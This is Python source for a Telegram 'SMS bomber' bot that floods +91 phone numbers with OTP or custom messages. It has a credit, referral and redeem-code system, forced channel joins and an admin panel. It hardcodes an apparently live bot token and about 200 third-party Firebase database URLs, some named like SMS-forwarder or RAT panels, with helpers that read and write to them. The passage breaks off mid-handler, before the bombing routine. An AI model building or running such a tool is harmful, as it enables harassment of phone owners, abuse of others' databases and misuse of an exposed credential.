#!/usr/bin/env python3 # ═══════════════════════════════════════════════════════════════ # 🔥 𝗔𝗗𝗩𝗔𝗡𝗖𝗘𝗗 𝗦𝗠𝗦 𝗕𝗢𝗠𝗕𝗘𝗥 𝗕𝗢𝗧 — 𝗩𝟯.𝟭 (FINAL — All Bugs Fixed) # ═══════════════════════════════════════════════════════════════ import re, os, json, sqlite3, random, string, time, asyncio, requests from datetime import datetime from telegram import ( Update, InlineKeyboardButton, InlineKeyboardMarkup, KeyboardButton, ReplyKeyboardMarkup ) from telegram.ext import ( Application, CommandHandler, CallbackQueryHandler, ContextTypes, MessageHandler, filters ) from telegram.request import HTTPXRequest # ── PROXY (optional — uncomment and fill if needed) ───────── # PROXY_URL = "http://127.0.0.1:1080" # HTTP proxy # PROXY_URL = "socks5://127.0.0.1:1080" # SOCKS5 proxy # ── CONFIG ─────────────────────────────────────────────────── TOKEN = "8764177898:AAE3Lw-7LFNDHO0deawLU3r9YTBnj55T37c" OWNER_ID = 8794321786 FORCE_CHANNELS = [ {"username": "@aurexkeng", "invite": "https://t.me/aurexkeng"}, {"username": "@bestsmmbot_owmer", "invite": "https://t.me/bestsmmbot_owmer"}, ] FIREBASE_URLS = [ "https://fir-6b48f-default-rtdb.firebaseio.com", "https://colana-84ce2-default-rtdb.firebaseio.com", "https://raaz-5287d-default-rtdb.firebaseio.com", "https://new-sexy-default-rtdb.firebaseio.com", "https://amirrr-8a463-default-rtdb.firebaseio.com", "https://faak-9cb47-default-rtdb.firebaseio.com", "https://chudgy-1cdca-default-rtdb.firebaseio.com", "https://randidiawdwadrtdb.firebaseio.com", "https://randidiawdwadrtdb.firebaseio.com", "https://raj-admin-nokia-default-rtdb.firebaseio.com", "https://do-admin-v25-default-rtdb.firebaseio.com/clients", "https://ssgg-5416f-default-rtdb.firebaseio.com", "https://rahais-default-rtdb.firebaseio.com", "https://tinmm88-b7db5-default-rtdb.firebaseio.com", "https://e9turnament1-default-rtdb.firebaseio.com", "https://hood-4ba1e-default-rtdb.firebaseio.com", "https://lucifer-spreader-default-rtdb.firebaseio.com", "https://totla-axis-default-rtdb.firebaseio.com", "https://rgggggggggg-e2547-default-rtdb.firebaseio.com", "https://bulbul8084-9a5df-default-rtdb.firebaseio.com", "https://systumm-c8526-default-rtdb.firebaseio.com", "https://ravan-98ef1-default-rtdb.firebaseio.com", "https://yellow-pannel-dadc7-default-rtdb.firebaseio.com", "https://pmkishan8-6b70f-default-rtdb.firebaseio.com", "https://no-admin-e0a30-default-rtdb.firebaseio.com", "https://sexypayload-default-rtdb.firebaseio.com", "https://love-13ffc-default-rtdb.firebaseio.com", "https://deepak-c22e3-default-rtdb.firebaseio.com", "https://takul-cf410-default-rtdb.firebaseio.com", "https://rto-02-april06-default-rtdb.firebaseio.com", "https://projectpksk05102025-default-rtdb.firebaseio.com", "https://rajkumar-b6cbe-default-rtdb.firebaseio.com", "https://rtoo-6c8e6-default-rtdb.firebaseio.com", "https://upandar-bb51e-default-rtdb.firebaseio.com", "https://rolex-carder-default-rtdb.firebaseio.com", "https://rettiugh-default-rtdb.firebaseio.com", "https://business-apps-ba1-8d27c-default-rtdb.firebaseio.com", "https://jeet-op-default-rtdb.firebaseio.com", "https://vvvvv-b5eae-default-rtdb.firebaseio.com", "https://jaanubaby-f7b34-default-rtdb.firebaseio.com", "https://jj-gambler-default-rtdb.firebaseio.com", "https://suman-penal-default-rtdb.firebaseio.com", "https://tuuui-60b15-default-rtdb.firebaseio.com", "https://admin-sonu-8a567-default-rtdb.firebaseio.com", "https://rohet10-8919f-default-rtdb.firebaseio.com", "https://zeni-ae60b-default-rtdb.firebaseio.com", "https://maxxx-randi-default-rtdb.firebaseio.com", "https://gulabi-fuddi-default-rtdb.firebaseio.com", "https://comkingdir-default-rtdb.firebaseio.com", "https://tracegod-168d5-default-rtdb.firebaseio.com", "https://uc-op-ca3d2-default-rtdb.firebaseio.com", "https://smsforward-b2198.firebaseio.com", "https://hdrbf-485ec-default-rtdb.firebaseio.com", "https://bunty-51bcc-default-rtdb.firebaseio.com", "https://vishal-x-aravat-default-rtdb.firebaseio.com", "https://admin-cliwny-default-rtdb.firebaseio.com", "https://danish-77fe3-default-rtdb.firebaseio.com", "https://master-admin-6c650-default-rtdb.firebaseio.com", "https://panel-op-feb4d-default-rtdb.firebaseio.com", "https://your-project-id-default-rtdb.firebaseio.com", "https://pm23-98f32-default-rtdb.firebaseio.com", "https://iiiii-ade0e-default-rtdb.firebaseio.com", "https://pint-f465b-default-rtdb.firebaseio.com", "https://admin-panel-bfcdc-default-rtdb.firebaseio.com", "https://callmebitchfumckyou-default-rtdb.firebaseio.com", "https://demonrat-aa782-default-rtdb.firebaseio.com", "https://access20-3fc38-default-rtdb.firebaseio.com", "https://article-efd36-default-rtdb.firebaseio.com", "https://rajababukvirat-default-rtdb.firebaseio.com", "https://axis-suraj-tele-apcd001-default-rtdb.firebaseio.com", "https://sandycall-18b15-default-rtdb.firebaseio.com", "https://suihd-default-rtdb.firebaseio.com", "https://harrwp-6be36-default-rtdb.firebaseio.com", "https://test-firebase.firebaseio.com", "https://adutappbylucy-default-rtdb.firebaseio.com", "https://download-b7393-default-rtdb.firebaseio.com", "https://bobnewloda-default-rtdb.firebaseio.com", "https://artikumari-abc97-default-rtdb.firebaseio.com", "https://seuihd-default-rtdb.firebaseio.com", "https://gigapaid-39e9c-default-rtdb.firebaseio.com", "https://angeladmin-9dedc-default-rtdb.firebaseio.com", "https://fir-new-fe8b8-default-rtdb.firebaseio.com", "https://priysnshuu-default-rtdb.firebaseio.com", "https://haab-b3370-default-rtdb.firebaseio.com", "https://ueuwuw-default-rtdb.firebaseio.com", "https://test.firebaseio.com", "https://jkhsadfhjk-default-rtdb.firebaseio.com", "https://sonic-d5c1a-default-rtdb.firebaseio.com", "https://jonisins-52271-default-rtdb.firebaseio.com", "https://dusman-abf8b-default-rtdb.firebaseio.com", "https://riyy-e012e-default-rtdb.firebaseio.com", "https://xkpz-f937a-default-rtdb.firebaseio.com", "https://raaz-5287d-default-rtdb.firebaseio.com", "https://apkpure-6eb6a-default-rtdb.firebaseio.com", "https://e14turnament2-default-rtdb.firebaseio.com", "https://bossuun-default-rtdb.firebaseio.com", "https://jsjsjdj-7f0d1-default-rtdb.firebaseio.com", "https://rahul-54fe9-default-rtdb.firebaseio.com", "https://runjun-master-panel-default-rtdb.firebaseio.com", "https://gsjjshdbs-default-rtdb.firebaseio.com", "https://fir-1fa16-default-rtdb.firebaseio.com", "https://newspreding-default-rtdb.firebaseio.com", "https://privatesok-59944-default-rtdb.firebaseio.com", "https://risho-d4c66-default-rtdb.firebaseio.com", "https://fir-27c9e-default-rtdb.firebaseio.com", "https://singhaana-6f199-default-rtdb.firebaseio.com", "https://dogla-de225-default-rtdb.firebaseio.com", "https://vibe-d238e-default-rtdb.firebaseio.com", "https://painislv-default-rtdb.firebaseio.com", "https://jsjdj7374j-default-rtdb.firebaseio.com", "https://jaduopop-a9a12-default-rtdb.firebaseio.com", "https://anjali-4a4bc-default-rtdb.firebaseio.com", "https://devil-king-101d4-default-rtdb.firebaseio.com", "https://shuruwat-admin-default-rtdb.firebaseio.com", "https://rajputlodu-5bed0-default-rtdb.firebaseio.com", "https://kitter-34345-default-rtdb.firebaseio.com", "https://abcd-6757-ad421-default-rtdb.firebaseio.com", "https://kali-90e1e-default-rtdb.firebaseio.com", "https://asif-alam991-default-rtdb.firebaseio.com", "https://anvith-jaan-default-rtdb.firebaseio.com", "https://chutkabaal-d7051-default-rtdb.firebaseio.com", "https://clone-79a6f-default-rtdb.firebaseio.com", "https://hospital-14-default-rtdb.firebaseio.com", "https://gooodhua-default-rtdb.firebaseio.com", "https://yqhwy-2fb47-default-rtdb.firebaseio.com", "https://khushi-7fb1f-default-rtdb.firebaseio.com", "https://ppaanaal-default-rtdb.firebaseio.com", "https://priyanshrandi-18600-default-rtdb.firebaseio.com", "https://pehle-panel-default-rtdb.firebaseio.com", "https://yogeshbhai-default-rtdb.firebaseio.com", "https://singhaana-default-rtdb.firebaseio.com", "https://myapp-8228a-default-rtdb.firebaseio.com", "https://app-2-7ac78-default-rtdb.firebaseio.com", "https://sorry-2d3c5-default-rtdb.firebaseio.com", "https://fvbtl-3f47c-default-rtdb.firebaseio.com", "https://anther-a3fe9-default-rtdb.firebaseio.com", "https://avraj-4d02e-default-rtdb.firebaseio.com", "https://spy-25-default-rtdb.firebaseio.com", "https://sirelech1-default-rtdb.firebaseio.com", "https://rahulcscperosnl-default-rtdb.firebaseio.com", "https://reliable-stroopwa-default-rtdb.firebaseio.com", "https://rancho-72506-default-rtdb.firebaseio.com", "https://pablo-5a0d2-default-rtdb.firebaseio.com", "https://reen-f8f5f-default-rtdb.firebaseio.com", "https://pehla-panel-green-default-rtdb.firebaseio.com", "https://lodaroll-default-rtdb.firebaseio.com", "https://jamini-c946b-default-rtdb.firebaseio.com", "https://strange-2e4aa-default-rtdb.firebaseio.com", "https://vdgsh-623ed-default-rtdb.firebaseio.com", "https://callmebitchfumckyou-default-rtdb.firebaseio.com", "https://admin-panel-bfcdc-default-rtdb.firebaseio.com", "https://pint-f465b-default-rtdb.firebaseio.com", "https://iiiii-ade0e-default-rtdb.firebaseio.com", "https://pm23-98f32-default-rtdb.firebaseio.com", "https://your-project-id-default-rtdb.firebaseio.com", "https://panel-op-feb4d-default-rtdb.firebaseio.com", "https://master-admin-6c650-default-rtdb.firebaseio.com", "https://danish-77fe3-default-rtdb.firebaseio.com", "https://admin-cliwny-default-rtdb.firebaseio.com", "https://vishal-x-aravat-default-rtdb.firebaseio.com", "https://bunty-51bcc-default-rtdb.firebaseio.com", "https://hdrbf-485ec-default-rtdb.firebaseio.com", "https://smsforward-b2198.firebaseio.com", "https://uc-op-ca3d2-default-rtdb.firebaseio.com", "https://tracegod-168d5-default-rtdb.firebaseio.com", "https://comkingdir-default-rtdb.firebaseio.com", "https://gulabi-fuddi-default-rtdb.firebaseio.com", "https://maxxx-randi-default-rtdb.firebaseio.com", "https://zeni-ae60b-default-rtdb.firebaseio.com", "https://rohet10-8919f-default-rtdb.firebaseio.com", "https://admin-sonu-8a567-default-rtdb.firebaseio.com", "https://tuuui-60b15-default-rtdb.firebaseio.com", "https://suman-penal-default-rtdb.firebaseio.com", "https://jj-gambler-default-rtdb.firebaseio.com", "https://jaanubaby-f7b34-default-rtdb.firebaseio.com", "https://vvvvv-b5eae-default-rtdb.firebaseio.com", "https://jeep-op-default-rtdb.firebaseio.com", "https://business-apps-ba1-8d27c-default-rtdb.firebaseio.com", "https://rettiugh-default-rtdb.firebaseio.com", "https://muajob-29c86-default-rtdb.firebaseio.com", "https://rahulgandhi-d09ca-default-rtdb.firebaseio.com", "https://hdjdjdj-a73f2-default-rtdb.firebaseio.com", "https://niggasionic-default-rtdb.asia-southeast1.firebasedatabase.app", "https://damo-98ebb-default-rtdb.firebaseio.com", "https://sep12-aea6d-default-rtdb.firebaseio.com", "https://hdfc-561e8-default-rtdb.firebaseio.com", "https://astra-b23a1-default-rtdb.firebaseio.com", "https://novap7-725ff-default-rtdb.firebaseio.com", "https://axisjames-default-rtdb.firebaseio.com", "https://yellow-panel-rto-default-rtdb.firebaseio.com", "https://bmw1-bdc10-default-rtdb.firebaseio.com", "https://me03-4e321-default-rtdb.firebaseio.com", "https://ream-13acd-default-rtdb.firebaseio.com", "https://makenewfriends-default-rtdb.firebaseio.com", "https://yt01-75a36-default-rtdb.firebaseio.com", ] # ── BOLD FONT ─────────────────────────────────────────────── def 𝕓(text): m = { 'A':'𝐀','B':'𝐁','C':'𝐂','D':'𝐃','E':'𝐄','F':'𝐅','G':'𝐆','H':'𝐇','I':'𝐈', 'J':'𝐉','K':'𝐊','L':'𝐋','M':'𝐌','N':'𝐍','O':'𝐎','P':'𝐏','Q':'𝐐','R':'𝐑', 'S':'𝐒','T':'𝐓','U':'𝐔','V':'𝐕','W':'𝐖','X':'𝐗','Y':'𝐘','Z':'𝐙', 'a':'𝐚','b':'𝐛','c':'𝐜','d':'𝐝','e':'𝐞','f':'𝐟','g':'𝐠','h':'𝐡','i':'𝐢', 'j':'𝐣','k':'𝐤','l':'𝐥','m':'𝐦','n':'𝐧','o':'𝐨','p':'𝐩','q':'𝐪','r':'𝐫', 's':'𝐬','t':'𝐭','u':'𝐮','v':'𝐯','w':'𝐰','x':'𝐱','y':'𝐲','z':'𝐳', '0':'𝟎','1':'𝟏','2':'𝟐','3':'𝟑','4':'𝟒','5':'𝟓','6':'𝟔','7':'𝟕','8':'𝟖','9':'𝟗', } return ''.join(m.get(c,c) for c in text) B = 𝕓 def sl(): return "━─━────༺◈༻────━─━" # ── ⭐ ACTIVE BOMB MANAGER (global — user_data.clear() se immune) ── # uid -> asyncio.Event (event set = STOP) ACTIVE_BOMBS = {} def bomb_running(uid): return uid in ACTIVE_BOMBS def start_bomb_event(uid): """Naya bomb event banao (purana hata ke).""" old = ACTIVE_BOMBS.get(uid) if old: old.set() # safety: purana bomb band karo ev = asyncio.Event() ACTIVE_BOMBS[uid] = ev return ev def request_bomb_stop(uid): """Stop request bhejo. Returns True agar bomb chal raha tha.""" ev = ACTIVE_BOMBS.get(uid) if ev: ev.set() return ev is not None def finish_bomb(uid): ACTIVE_BOMBS.pop(uid, None) # ── DATABASE — WAL MODE + AUTO MIGRATION ──────────────────── DB_PATH = "bot_data.db" def db_init(): conn = sqlite3.connect(DB_PATH, timeout=60) conn.execute("PRAGMA journal_mode=WAL;") conn.execute("PRAGMA synchronous=NORMAL;") conn.execute("PRAGMA busy_timeout=60000;") c = conn.cursor() c.execute('''CREATE TABLE IF NOT EXISTS users ( user_id INTEGER PRIMARY KEY, credits INTEGER DEFAULT 5, referrer_id INTEGER, bomb_count INTEGER DEFAULT 0, joined_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP )''') c.execute('''CREATE TABLE IF NOT EXISTS banned_users ( user_id INTEGER PRIMARY KEY, banned_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, banned_by INTEGER )''') c.execute('''CREATE TABLE IF NOT EXISTS user_history ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, action TEXT, details TEXT, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP )''') c.execute('''CREATE TABLE IF NOT EXISTS bot_config ( key TEXT PRIMARY KEY, value TEXT )''') # Redeem codes table c.execute('''CREATE TABLE IF NOT EXISTS redeem_codes ( code TEXT PRIMARY KEY, amount INTEGER NOT NULL, created_by INTEGER NOT NULL, used_by INTEGER DEFAULT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, used_at TIMESTAMP DEFAULT NULL )''') try: c.execute("SELECT bomb_count FROM users LIMIT 1") except sqlite3.OperationalError: c.execute("ALTER TABLE users ADD COLUMN bomb_count INTEGER DEFAULT 0") print("✅ Added missing bomb_count column") conn.commit() conn.close() print("✅ Database ready (WAL mode)") db_init() def getc(): conn = sqlite3.connect(DB_PATH, timeout=60) conn.execute("PRAGMA journal_mode=WAL;") conn.execute("PRAGMA synchronous=NORMAL;") conn.execute("PRAGMA busy_timeout=60000;") return conn def db_get(key): conn = getc(); c = conn.cursor() c.execute("SELECT value FROM bot_config WHERE key=?", (key,)) r = c.fetchone(); conn.close() return r[0] if r else None def db_set(k, v): conn = getc(); c = conn.cursor() c.execute("INSERT OR REPLACE INTO bot_config (key, value) VALUES (?,?)", (k, v)) conn.commit(); conn.close() def get_start_video(): v = db_get("start_video") return v if v and v.startswith("BAAC") else None def set_start_video(f): db_set("start_video", f) def is_owner(u): return u == OWNER_ID def get_credits(u): conn = getc(); c = conn.cursor() c.execute("SELECT credits FROM users WHERE user_id=?", (u,)) r = c.fetchone(); conn.close() return r[0] if r else 0 def add_user(u, ref=None): conn = getc(); c = conn.cursor() c.execute("SELECT user_id FROM users WHERE user_id=?", (u,)) if c.fetchone(): conn.close(); return False c.execute("INSERT INTO users (user_id, credits, referrer_id) VALUES (?, 5, ?)", (u, ref)) conn.commit(); conn.close() if ref and ref != u: conn2 = getc(); c2 = conn2.cursor() c2.execute("SELECT credits FROM users WHERE user_id=?", (ref,)) if c2.fetchone(): c2.execute("UPDATE users SET credits=credits+1 WHERE user_id=?", (ref,)) conn2.commit() conn2.close() return True def deduct_credit(u): conn = getc(); c = conn.cursor() c.execute("UPDATE users SET credits=credits-1 WHERE user_id=? AND credits>0", (u,)) ok = c.rowcount > 0 if ok: c.execute("UPDATE users SET bomb_count=COALESCE(bomb_count,0)+1 WHERE user_id=?", (u,)) conn.commit(); conn.close() return ok def add_credits(u, a): conn = getc(); c = conn.cursor() c.execute("UPDATE users SET credits=credits+? WHERE user_id=?", (a, u)) conn.commit(); conn.close() def remove_credits(u, a): conn = getc(); c = conn.cursor() c.execute("UPDATE users SET credits=credits-? WHERE user_id=? AND credits>=?", (a, u, a)) ok = c.rowcount > 0; conn.commit(); conn.close() return ok def is_banned(u): conn = getc(); c = conn.cursor() c.execute("SELECT user_id FROM banned_users WHERE user_id=?", (u,)) r = c.fetchone(); conn.close() return r is not None def ban_user(u, b): conn = getc(); c = conn.cursor() c.execute("INSERT OR IGNORE INTO banned_users (user_id, banned_by) VALUES (?,?)", (u, b)) conn.commit(); conn.close() def unban_user(u): conn = getc(); c = conn.cursor() c.execute("DELETE FROM banned_users WHERE user_id=?", (u,)) ok = c.rowcount > 0; conn.commit(); conn.close() return ok def loga(u, a, d=""): conn = getc(); c = conn.cursor() c.execute("INSERT INTO user_history (user_id, action, details) VALUES (?,?,?)", (u, a, d)) conn.commit(); conn.close() def get_lb(limit=10): conn = getc(); c = conn.cursor() c.execute("SELECT user_id, credits, COALESCE(bomb_count,0) FROM users ORDER BY credits DESC LIMIT ?", (limit,)) r = c.fetchall(); conn.close(); return r def get_stats(): conn = getc(); c = conn.cursor() c.execute("SELECT COUNT(*), COALESCE(SUM(credits),0), COALESCE(SUM(bomb_count),0) FROM users") t, tc, tb = c.fetchone(); conn.close() return (t or 0), (tc or 0), (tb or 0) def get_all_users(): conn = getc(); c = conn.cursor() c.execute("SELECT user_id, credits, COALESCE(bomb_count,0), joined_at FROM users ORDER BY joined_at DESC") r = c.fetchall(); conn.close(); return r def get_ui(u): conn = getc(); c = conn.cursor() c.execute("SELECT * FROM users WHERE user_id=?", (u,)) r = c.fetchone(); conn.close(); return r # ── REDEEM CODE FUNCTIONS ────────────────────────────────── def create_redeem(amount, created_by): while True: code = "titan-" + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)) conn = getc(); c = conn.cursor() c.execute("SELECT 1 FROM redeem_codes WHERE code=?", (code,)) if not c.fetchone(): c.execute("INSERT INTO redeem_codes (code, amount, created_by) VALUES (?,?,?)", (code, amount, created_by)) conn.commit(); conn.close() return code conn.close() def get_redeem(code): conn = getc(); c = conn.cursor() c.execute("SELECT * FROM redeem_codes WHERE lower(code)=lower(?)", (code,)) r = c.fetchone(); conn.close() return r def use_redeem(code, used_by): conn = getc(); c = conn.cursor() c.execute("UPDATE redeem_codes SET used_by=?, used_at=CURRENT_TIMESTAMP WHERE lower(code)=lower(?) AND used_by IS NULL", (used_by, code)) ok = c.rowcount > 0; conn.commit(); conn.close() return ok def get_redeems(limit=15): conn = getc(); c = conn.cursor() c.execute("SELECT code, amount, created_by, used_by, created_at, used_at FROM redeem_codes ORDER BY created_at DESC LIMIT ?", (limit,)) r = c.fetchall(); conn.close(); return r def get_redeem_stats(): conn = getc(); c = conn.cursor() c.execute("SELECT COUNT(*) FROM redeem_codes") total = c.fetchone()[0] or 0 c.execute("SELECT COUNT(*) FROM redeem_codes WHERE used_by IS NOT NULL") used = c.fetchone()[0] or 0 conn.close() return total, used # ── FIREBASE ──────────────────────────────────────────────── def fb_get(url, path): try: r = requests.get(f"{url.rstrip('/')}/{path}.json", timeout=8) if r.status_code == 200: return r.json() except: return None def fb_put(url, path, data): try: r = requests.put(f"{url.rstrip('/')}/{path}.json", json=data, timeout=8) return r.status_code in (200, 201) except: return False def validate_phone(num): n = num.strip() if not n.startswith('+91'): return False, "❌ Must start with +91" r = n[3:] if not r.isdigit(): return False, "❌ Only digits after +91" if len(r) != 10: return False, f"❌ Need 10 digits after +91 (got {len(r)})" return True, "✅ Valid" # ── FORCE JOIN ────────────────────────────────────────────── async def check_fj(update, ctx): try: uid = update.effective_user.id for ch in FORCE_CHANNELS: m = await ctx.application.bot.get_chat_member(ch["username"], uid) if m.status in ("left", "kicked"): return False return True except: return False async def fj_prompt(update, ctx): btns = [[InlineKeyboardButton(f"🔵 {ch['username']}", url=ch["invite"], **({"api_kwargs": {"style": "primary"}}))] for ch in FORCE_CHANNELS] btns.append([InlineKeyboardButton(f"✅ {B('Joined')}", callback_data="fj_check", **({"api_kwargs": {"style": "success"}}))]) ch_list = "\n".join(f" 🔹 {ch['username']}" for ch in FORCE_CHANNELS) try: await update.message.reply_text( f"╔═══◈═══╗\n║ {B('FORCE JOIN')} ║\n╚═══◈═══╝\n\n" f"⚠️ {B('Join channels first!')}\n\n{ch_list}", parse_mode="HTML", reply_markup=InlineKeyboardMarkup(btns)) except: pass # ── COLOR HELPERS ────────────────────────────────────────── def cbtn(t, cb, s="primary"): return InlineKeyboardButton(t, callback_data=cb, **({"api_kwargs": {"style": s}})) def km(t, s="primary"): return KeyboardButton(t, **({"api_kwargs": {"style": s}})) def im(rows): return InlineKeyboardMarkup([[cbtn(t,c,s) for t,c,s in row] for row in rows]) def rm(rows): return ReplyKeyboardMarkup([[km(t,s) for t,s in row] for row in rows], resize_keyboard=True) # ── /start ────────────────────────────────────────────────── async def start(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: uid = update.effective_user.id except: return if is_banned(uid): try: await update.message.reply_text(f"❌ {B('Banned.')}") except: pass return ref = None if ctx.args and ctx.args[0].startswith("ref_"): try: ref = int(ctx.args[0].split("_")[1]) except: pass try: new = add_user(uid, ref) if new: if ref and ref != uid: try: un = update.effective_user.username or update.effective_user.first_name await ctx.application.bot.send_message(ref, f"━━━━━━━━━\n🎉 {B('REFERRAL!')}\n━━━━━━━━━\n👤 @{un} ({uid})\n💰 +1 credit", parse_mode="HTML") except: pass try: un = update.effective_user.username or update.effective_user.first_name rt = f"Referrer: {ref}" if ref else "Direct" await ctx.application.bot.send_message(OWNER_ID, f"━━━━━━━━━\n🆕 {B('NEW USER')}\n━━━━━━━━━\n👤 @{un}\n🆔 {uid}\n📌 {rt}", parse_mode="HTML") except: pass if not await check_fj(update, ctx): await fj_prompt(update, ctx) return creds = get_credits(uid) vid = get_start_video() mk = rm([ [("💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎", "danger"), ("💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎", "success")], [("🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇", "primary"), ("🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈", "success")], [("🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿", "primary"), ("📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔", "primary")], [("📊 𝙎𝙏𝘼𝙏𝙎", "success")], ]) if is_owner(uid): mk = rm([ [("💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎", "danger"), ("💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎", "success")], [("🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇", "primary"), ("🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈", "success")], [("🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿", "primary"), ("📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔", "primary")], [("📊 𝙎𝙏𝘼𝙏𝙎", "success"), ("⚙️ 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙉𝙀𝙇", "danger")], ]) msg = (f"╔═══◈═══╗\n║ {B('SMS BOMBER')} ║\n╚═══◈═══╝\n\n{sl()}\n" f"🔥 {B('Status')}: 🟢 {B('ONLINE')}\n💰 {B('Credits')}: {creds}\n" f"📌 {B('1 Credit = 1 Bomb')}\n{sl()}\n\n" f"📱 {B('How To Use')}:\n 💣 Tap Bomb SMS\n 📞 Enter +91 number\n ✏️ Choose OTP or Custom\n 🚀 Auto-bomb!\n\n" f"💡 Earn via 🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇 or 🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈") if vid: try: await update.message.reply_video(video=vid, caption=msg, parse_mode="HTML", reply_markup=mk) return except: pass await update.message.reply_text(msg, parse_mode="HTML", reply_markup=mk) except Exception as e: print(f"[start] Error: {e}") # ── /set ──────────────────────────────────────────────────── async def set_video(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: if not is_owner(update.effective_user.id): await update.message.reply_text("⛔ Owner only!"); return if not update.message.reply_to_message: await update.message.reply_text("❌ Reply to video with /set"); return v = update.message.reply_to_message.video if not v: await update.message.reply_text("❌ That's not a video!"); return set_start_video(v.file_id) await update.message.reply_text(f"╔═══◈═══╗\n║ {B('VIDEO SET')} ║\n╚═══◈═══╝\n\n✅ Video set!\n🆔 {v.file_id[:20]}...", parse_mode="HTML") except: pass # ── ADMIN PANEL BUILDER ──────────────────────────────────── def admin_panel_data(): t, tc, tb = get_stats() conn = getc(); c = conn.cursor() c.execute("SELECT COUNT(*) FROM banned_users"); bc = c.fetchone()[0]; conn.close() rt, ru = get_redeem_stats() text = (f"╔═══◈═══╗\n║ {B('ADMIN')} ║\n╚═══◈═══╝\n\n{sl()}\n" f"👥 Users: {t}\n💰 Credits: {tc}\n" f"💣 Bombs: {tb}\n🚫 Banned: {bc}\n" f"🎟️ Redeem: {ru}/{rt} used\n{sl()}\n\n" f"💡 Tap any button — bot will ask for details!") kb = im([ [("👥 Users", "admin_users", "primary"), ("🚫 Ban", "admin_ban", "danger")], [("✅ Unban", "admin_unban", "success"), ("➕ Add Credits", "admin_add", "success")], [("➖ Remove", "admin_rem", "danger"), ("🎟️ Create Redeem", "admin_redeem", "primary")], [("📋 Redeem Codes", "admin_redeems", "primary"), ("📊 Refresh", "admin_refresh", "success")], [("🔙 Back", "admin_back", "danger")], ]) return text, kb async def admin_panel(q): try: text, kb = admin_panel_data() await q.edit_message_text(text, parse_mode="HTML", reply_markup=kb) except: pass async def admin_redeems(q): try: rs = get_redeems(15) msg = f"╔═══◈═══╗\n║ {B('REDEEM CODES')} ║\n╚═══◈═══╝\n\n" if not rs: msg += "📭 No codes yet\n\n🎟️ Create one!" else: for code, amt, cb_, ub, ca, ua in rs: if ub: msg += f"• {code} | 💰{amt} | ✅ Used by {ub}\n" else: msg += f"• {code} | 💰{amt} | 🟢 Unused\n" await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im([[("🎟️ Create", "admin_redeem", "primary"), ("🔙 Back", "admin_back", "danger")]])) except: pass async def admin_users(q, page=0): try: users = get_all_users() pp = 10; s = page*pp; e = s+pp; pu = users[s:e]; tp = (len(users)+pp-1)//pp msg = f"╔═══◈═══╗\n║ {B('USERS')} ({page+1}/{tp}) ║\n╚═══◈═══╝\n\n" for i,(ui,cr,bm,jt) in enumerate(pu, start=s+1): msg += f"{i}. {ui} | 💰{cr} | 💣{bm}\n" msg += "\n💡 Tap user ID to view:" rows = [] nav = [] if page > 0: nav.append((f"◀️ Prev", f"admin_users_page_{page-1}", "danger")) if page+1 < tp: nav.append((f"Next ▶️", f"admin_users_page_{page+1}", "primary")) if nav: rows.append(nav) for ui,cr,bm,_ in pu[:5]: rows.append([(f"👤 {ui}", f"admin_ui_{ui}", "primary")]) rows.append([("🔙 Back", "admin_back", "danger")]) await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im(rows)) except: pass async def admin_ui(q, target): try: info = get_ui(target) banned = is_banned(target) if not info: await q.edit_message_text("❌ Not found", reply_markup=im([[("🔙", "admin_users", "danger")]])); return msg = (f"╔═══◈═══╗\n║ {B('USER')} ║\n╚═══◈═══╝\n\n{sl()}\n" f"🆔 {info[0]}\n💰 {info[1]}\n👥 Referrer: {info[2] or 'None'}\n" f"💣 {info[3]}\n📅 {info[4]}\n🚫 {'✅ Yes' if banned else '❌ No'}\n{sl()}") rows = [] if banned: rows.append([(f"✅ Unban", f"admin_unban_{target}", "success")]) else: rows.append([(f"🚫 Ban", f"admin_ban_{target}", "danger")]) rows.append([(f"+5", f"admin_give_{target}_5", "success"), (f"+10", f"admin_give_{target}_10", "primary"), (f"-5", f"admin_rem_{target}_5", "danger")]) rows.append([("🔙 Back", "admin_users", "danger")]) await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im(rows)) except: pass # ── CALLBACK ──────────────────────────────────────────────── async def cb(update: Update, ctx: ContextTypes.DEFAULT_TYPE): try: q = update.callback_query uid = q.from_user.id d = q.data except: return # answer fail ho toh bhi button process karo try: await q.answer() except Exception: pass try: if d == "fj_check": if await check_fj(update, ctx): await q.edit_message_text(f"✅ {B('Thanks! Use')} /start") else: try: await q.answer("❌ Join all channels!", show_alert=True) except: pass return if d == "bomb_start": # double-bomb prevent if bomb_running(uid): try: await q.answer("⚠️ Bomb already running! Pehle 🛑 STOP karo.", show_alert=True) except: pass return ctx.user_data.clear() ctx.user_data['bomb_step'] = 'number' await q.edit_message_text(f"📞 {B('Enter number:')}\n✅ +91XXXXXXXXXX\n❌ /cancel") return if d == "bomb_cancel": ctx.user_data.clear(); await q.edit_message_text(f"❌ {B('Cancelled.')}"); return # STOP ab global event se — user_data.clear() se immune if d == "bomb_stop": ok = request_bomb_stop(uid) ctx.user_data['bomb_stop'] = True # legacy backup try: if ok: await q.edit_message_text(f"🛑 {B('Stopping...')}") else: await q.edit_message_text(f"ℹ️ {B('No active bomb.')}") except: pass return if 